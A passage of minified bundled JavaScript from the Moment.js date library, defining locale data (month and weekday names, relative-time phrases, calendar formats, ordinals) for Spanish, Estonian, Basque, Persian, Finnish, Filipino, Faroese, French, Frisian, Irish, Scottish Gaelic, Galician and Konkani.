MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:0,doy:4},invalidDate:"Fecha inválida"})}(n(381))},1146:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),r=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-us",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"MM/DD/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:0,doy:6}})}(n(381))},5655:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),r=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4},invalidDate:"Fecha inválida"})}(n(381))},5603:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={s:["mõne sekundi","mõni sekund","paar sekundit"],ss:[e+"sekundi",e+"sekundit"],m:["ühe minuti","üks minut"],mm:[e+" minuti",e+" minutit"],h:["ühe tunni","tund aega","üks tund"],hh:[e+" tunni",e+" tundi"],d:["ühe päeva","üks päev"],M:["kuu aja","kuu aega","üks kuu"],MM:[e+" kuu",e+" kuud"],y:["ühe aasta","aasta","üks aasta"],yy:[e+" aasta",e+" aastat"]};return t?i[n][2]?i[n][2]:i[n][1]:r?i[n][0]:i[n][1]}e.defineLocale("et",{months:"jaanuar_veebruar_märts_aprill_mai_juuni_juuli_august_september_oktoober_november_detsember".split("_"),monthsShort:"jaan_veebr_märts_apr_mai_juuni_juuli_aug_sept_okt_nov_dets".split("_"),weekdays:"pühapäev_esmaspäev_teisipäev_kolmapäev_neljapäev_reede_laupäev".split("_"),weekdaysShort:"P_E_T_K_N_R_L".split("_"),weekdaysMin:"P_E_T_K_N_R_L".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[Täna,] LT",nextDay:"[Homme,] LT",nextWeek:"[Järgmine] dddd LT",lastDay:"[Eile,] LT",lastWeek:"[Eelmine] dddd LT",sameElse:"L"},relativeTime:{future:"%s pärast",past:"%s tagasi",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:"%d päeva",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},7763:function(e,t,n){!function(e){"use strict";e.defineLocale("eu",{months:"urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua".split("_"),monthsShort:"urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.".split("_"),monthsParseExact:!0,weekdays:"igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata".split("_"),weekdaysShort:"ig._al._ar._az._og._ol._lr.".split("_"),weekdaysMin:"ig_al_ar_az_og_ol_lr".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY[ko] MMMM[ren] D[a]",LLL:"YYYY[ko] MMMM[ren] D[a] HH:mm",LLLL:"dddd, YYYY[ko] MMMM[ren] D[a] HH:mm",l:"YYYY-M-D",ll:"YYYY[ko] MMM D[a]",lll:"YYYY[ko] MMM D[a] HH:mm",llll:"ddd, YYYY[ko] MMM D[a] HH:mm"},calendar:{sameDay:"[gaur] LT[etan]",nextDay:"[bihar] LT[etan]",nextWeek:"dddd LT[etan]",lastDay:"[atzo] LT[etan]",lastWeek:"[aurreko] dddd LT[etan]",sameElse:"L"},relativeTime:{future:"%s barru",past:"duela %s",s:"segundo batzuk",ss:"%d segundo",m:"minutu bat",mm:"%d minutu",h:"ordu bat",hh:"%d ordu",d:"egun bat",dd:"%d egun",M:"hilabete bat",MM:"%d hilabete",y:"urte bat",yy:"%d urte"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},6959:function(e,t,n){!function(e){"use strict";var t={1:"۱",2:"۲",3:"۳",4:"۴",5:"۵",6:"۶",7:"۷",8:"۸",9:"۹",0:"۰"},n={"۱":"1","۲":"2","۳":"3","۴":"4","۵":"5","۶":"6","۷":"7","۸":"8","۹":"9","۰":"0"};e.defineLocale("fa",{months:"ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"),monthsShort:"ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"),weekdays:"یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"),weekdaysShort:"یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"),weekdaysMin:"ی_د_س_چ_پ_ج_ش".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/قبل از ظهر|بعد از ظهر/,isPM:function(e){return/بعد از ظهر/.test(e)},meridiem:function(e,t,n){return e<12?"قبل از ظهر":"بعد از ظهر"},calendar:{sameDay:"[امروز ساعت] LT",nextDay:"[فردا ساعت] LT",nextWeek:"dddd [ساعت] LT",lastDay:"[دیروز ساعت] LT",lastWeek:"dddd [پیش] [ساعت] LT",sameElse:"L"},relativeTime:{future:"در %s",past:"%s پیش",s:"چند ثانیه",ss:"%d ثانیه",m:"یک دقیقه",mm:"%d دقیقه",h:"یک ساعت",hh:"%d ساعت",d:"یک روز",dd:"%d روز",M:"یک ماه",MM:"%d ماه",y:"یک سال",yy:"%d سال"},preparse:function(e){return e.replace(/[۰-۹]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},dayOfMonthOrdinalParse:/\d{1,2}م/,ordinal:"%dم",week:{dow:6,doy:12}})}(n(381))},1897:function(e,t,n){!function(e){"use strict";var t="nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän".split(" "),n=["nolla","yhden","kahden","kolmen","neljän","viiden","kuuden",t[7],t[8],t[9]];function r(e,t,n,r){var s="";switch(n){case"s":return r?"muutaman sekunnin":"muutama sekunti";case"ss":s=r?"sekunnin":"sekuntia";break;case"m":return r?"minuutin":"minuutti";case"mm":s=r?"minuutin":"minuuttia";break;case"h":return r?"tunnin":"tunti";case"hh":s=r?"tunnin":"tuntia";break;case"d":return r?"päivän":"päivä";case"dd":s=r?"päivän":"päivää";break;case"M":return r?"kuukauden":"kuukausi";case"MM":s=r?"kuukauden":"kuukautta";break;case"y":return r?"vuoden":"vuosi";case"yy":s=r?"vuoden":"vuotta"}return s=i(e,r)+" "+s}function i(e,r){return e<10?r?n[e]:t[e]:e}e.defineLocale("fi",{months:"tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"),monthsShort:"tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu".split("_"),weekdays:"sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"),weekdaysShort:"su_ma_ti_ke_to_pe_la".split("_"),weekdaysMin:"su_ma_ti_ke_to_pe_la".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"Do MMMM[ta] YYYY",LLL:"Do MMMM[ta] YYYY, [klo] HH.mm",LLLL:"dddd, Do MMMM[ta] YYYY, [klo] HH.mm",l:"D.M.YYYY",ll:"Do MMM YYYY",lll:"Do MMM YYYY, [klo] HH.mm",llll:"ddd, Do MMM YYYY, [klo] HH.mm"},calendar:{sameDay:"[tänään] [klo] LT",nextDay:"[huomenna] [klo] LT",nextWeek:"dddd [klo] LT",lastDay:"[eilen] [klo] LT",lastWeek:"[viime] dddd[na] [klo] LT",sameElse:"L"},relativeTime:{future:"%s päästä",past:"%s sitten",s:r,ss:r,m:r,mm:r,h:r,hh:r,d:r,dd:r,M:r,MM:r,y:r,yy:r},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},2549:function(e,t,n){!function(e){"use strict";e.defineLocale("fil",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(n(381))},4694:function(e,t,n){!function(e){"use strict";e.defineLocale("fo",{months:"januar_februar_mars_apríl_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"),weekdays:"sunnudagur_mánadagur_týsdagur_mikudagur_hósdagur_fríggjadagur_leygardagur".split("_"),weekdaysShort:"sun_mán_týs_mik_hós_frí_ley".split("_"),weekdaysMin:"su_má_tý_mi_hó_fr_le".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D. MMMM, YYYY HH:mm"},calendar:{sameDay:"[Í dag kl.] LT",nextDay:"[Í morgin kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[Í gjár kl.] LT",lastWeek:"[síðstu] dddd [kl] LT",sameElse:"L"},relativeTime:{future:"um %s",past:"%s síðani",s:"fá sekund",ss:"%d sekundir",m:"ein minuttur",mm:"%d minuttir",h:"ein tími",hh:"%d tímar",d:"ein dagur",dd:"%d dagar",M:"ein mánaður",MM:"%d mánaðir",y:"eitt ár",yy:"%d ár"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},3049:function(e,t,n){!function(e){"use strict";e.defineLocale("fr-ca",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}}})}(n(381))},2330:function(e,t,n){!function(e){"use strict";e.defineLocale("fr-ch",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(n(381))},4470:function(e,t,n){!function(e){"use strict";var t=/^(janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,n=/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?)/i,r=/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?|janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,i=[/^janv/i,/^févr/i,/^mars/i,/^avr/i,/^mai/i,/^juin/i,/^juil/i,/^août/i,/^sept/i,/^oct/i,/^nov/i,/^déc/i];e.defineLocale("fr",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:t,monthsShortStrictRegex:n,monthsParse:i,longMonthsParse:i,shortMonthsParse:i,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",w:"une semaine",ww:"%d semaines",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|)/,ordinal:function(e,t){switch(t){case"D":return e+(1===e?"er":"");default:case"M":case"Q":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(n(381))},5044:function(e,t,n){!function(e){"use strict";var t="jan._feb._mrt._apr._mai_jun._jul._aug._sep._okt._nov._des.".split("_"),n="jan_feb_mrt_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_");e.defineLocale("fy",{months:"jannewaris_febrewaris_maart_april_maaie_juny_july_augustus_septimber_oktober_novimber_desimber".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsParseExact:!0,weekdays:"snein_moandei_tiisdei_woansdei_tongersdei_freed_sneon".split("_"),weekdaysShort:"si._mo._ti._wo._to._fr._so.".split("_"),weekdaysMin:"Si_Mo_Ti_Wo_To_Fr_So".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[hjoed om] LT",nextDay:"[moarn om] LT",nextWeek:"dddd [om] LT",lastDay:"[juster om] LT",lastWeek:"[ôfrûne] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oer %s",past:"%s lyn",s:"in pear sekonden",ss:"%d sekonden",m:"ien minút",mm:"%d minuten",h:"ien oere",hh:"%d oeren",d:"ien dei",dd:"%d dagen",M:"ien moanne",MM:"%d moannen",y:"ien jier",yy:"%d jierren"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n(381))},9295:function(e,t,n){!function(e){"use strict";var t=["Eanáir","Feabhra","Márta","Aibreán","Bealtaine","Meitheamh","Iúil","Lúnasa","Meán Fómhair","Deireadh Fómhair","Samhain","Nollaig"],n=["Ean","Feabh","Márt","Aib","Beal","Meith","Iúil","Lún","M.F.","D.F.","Samh","Noll"],r=["Dé Domhnaigh","Dé Luain","Dé Máirt","Dé Céadaoin","Déardaoin","Dé hAoine","Dé Sathairn"],i=["Domh","Luan","Máirt","Céad","Déar","Aoine","Sath"],s=["Do","Lu","Má","Cé","Dé","A","Sa"];e.defineLocale("ga",{months:t,monthsShort:n,monthsParseExact:!0,weekdays:r,weekdaysShort:i,weekdaysMin:s,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Inniu ag] LT",nextDay:"[Amárach ag] LT",nextWeek:"dddd [ag] LT",lastDay:"[Inné ag] LT",lastWeek:"dddd [seo caite] [ag] LT",sameElse:"L"},relativeTime:{future:"i %s",past:"%s ó shin",s:"cúpla soicind",ss:"%d soicind",m:"nóiméad",mm:"%d nóiméad",h:"uair an chloig",hh:"%d uair an chloig",d:"lá",dd:"%d lá",M:"mí",MM:"%d míonna",y:"bliain",yy:"%d bliain"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(n(381))},2101:function(e,t,n){!function(e){"use strict";var t=["Am Faoilleach","An Gearran","Am Màrt","An Giblean","An Cèitean","An t-Ògmhios","An t-Iuchar","An Lùnastal","An t-Sultain","An Dàmhair","An t-Samhain","An Dùbhlachd"],n=["Faoi","Gear","Màrt","Gibl","Cèit","Ògmh","Iuch","Lùn","Sult","Dàmh","Samh","Dùbh"],r=["Didòmhnaich","Diluain","Dimàirt","Diciadain","Diardaoin","Dihaoine","Disathairne"],i=["Did","Dil","Dim","Dic","Dia","Dih","Dis"],s=["Dò","Lu","Mà","Ci","Ar","Ha","Sa"];e.defineLocale("gd",{months:t,monthsShort:n,monthsParseExact:!0,weekdays:r,weekdaysShort:i,weekdaysMin:s,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[An-diugh aig] LT",nextDay:"[A-màireach aig] LT",nextWeek:"dddd [aig] LT",lastDay:"[An-dè aig] LT",lastWeek:"dddd [seo chaidh] [aig] LT",sameElse:"L"},relativeTime:{future:"ann an %s",past:"bho chionn %s",s:"beagan diogan",ss:"%d diogan",m:"mionaid",mm:"%d mionaidean",h:"uair",hh:"%d uairean",d:"latha",dd:"%d latha",M:"mìos",MM:"%d mìosan",y:"bliadhna",yy:"%d bliadhna"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(n(381))},8794:function(e,t,n){!function(e){"use strict";e.defineLocale("gl",{months:"xaneiro_febreiro_marzo_abril_maio_xuño_xullo_agosto_setembro_outubro_novembro_decembro".split("_"),monthsShort:"xan._feb._mar._abr._mai._xuñ._xul._ago._set._out._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"domingo_luns_martes_mércores_xoves_venres_sábado".split("_"),weekdaysShort:"dom._lun._mar._mér._xov._ven._sáb.".split("_"),weekdaysMin:"do_lu_ma_mé_xo_ve_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoxe "+(1!==this.hours()?"ás":"á")+"] LT"},nextDay:function(){return"[mañá "+(1!==this.hours()?"ás":"á")+"] LT"},nextWeek:function(){return"dddd ["+(1!==this.hours()?"ás":"a")+"] LT"},lastDay:function(){return"[onte "+(1!==this.hours()?"á":"a")+"] LT"},lastWeek:function(){return"[o] dddd [pasado "+(1!==this.hours()?"ás":"a")+"] LT"},sameElse:"L"},relativeTime:{future:function(e){return 0===e.indexOf("un")?"n"+e:"en "+e},past:"hai %s",s:"uns segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"unha hora",hh:"%d horas",d:"un día",dd:"%d días",M:"un mes",MM:"%d meses",y:"un ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},7884:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={s:["थोडया सॅकंडांनी","थोडे सॅकंड"],ss:[e+" सॅकंडांनी",e+" सॅकंड"],m:["एका मिणटान","एक मिनूट"],mm:[e+" मिणटांनी",e+" मिणटां"],h:["एका वरान","एक वर"],hh:[e+" वरांनी",e+" वरां"],d:["एका दिसान","एक दीस"],dd:[e+" दिसांनी",e+" दीस"],M:["एका म्हयन्यान","एक म्हयनो"],MM:[e+" म्हयन्यानी",e+" म्हयने"],y:["एका वर्सान","एक वर्स"],yy:[e+" वर्सांनी",e+" वर्सां"]};return r?i[n][0]:i[n][1]}e.defineLocale("gom-deva",{months:{standalone:"जानेवारी_फेब्रुवारी_मार्च_एप्रील_मे_जून_जुलय_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"),format:"जानेवारीच्या_फेब्रुवारीच्या_मार्चाच्या_एप्रीलाच्या_मेयाच्या_जूनाच्या_जुलयाच्या_ऑगस्टाच्या_सप्टेंबराच्या_ऑक्टोबराच्या_नोव्हेंबराच्या_डिसेंबराच्या".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"जाने._फेब्रु._मार्च_एप्री._मे_जून_जुल._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"),monthsParseExact:!0,weekdays:"आयतार_सोमार_मंगळार_बुधवार_बिरेस्तार_सुक्रार_शेनवार".split("_"),weekdaysShort:"आयत._सोम._मंगळ._बुध._ब्रेस्त._सुक्र._शेन.".split("_"),weekdaysMin:"आ_सो_मं_बु_ब्रे_सु_शे".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [वाजतां]",LTS:"A h:mm:ss 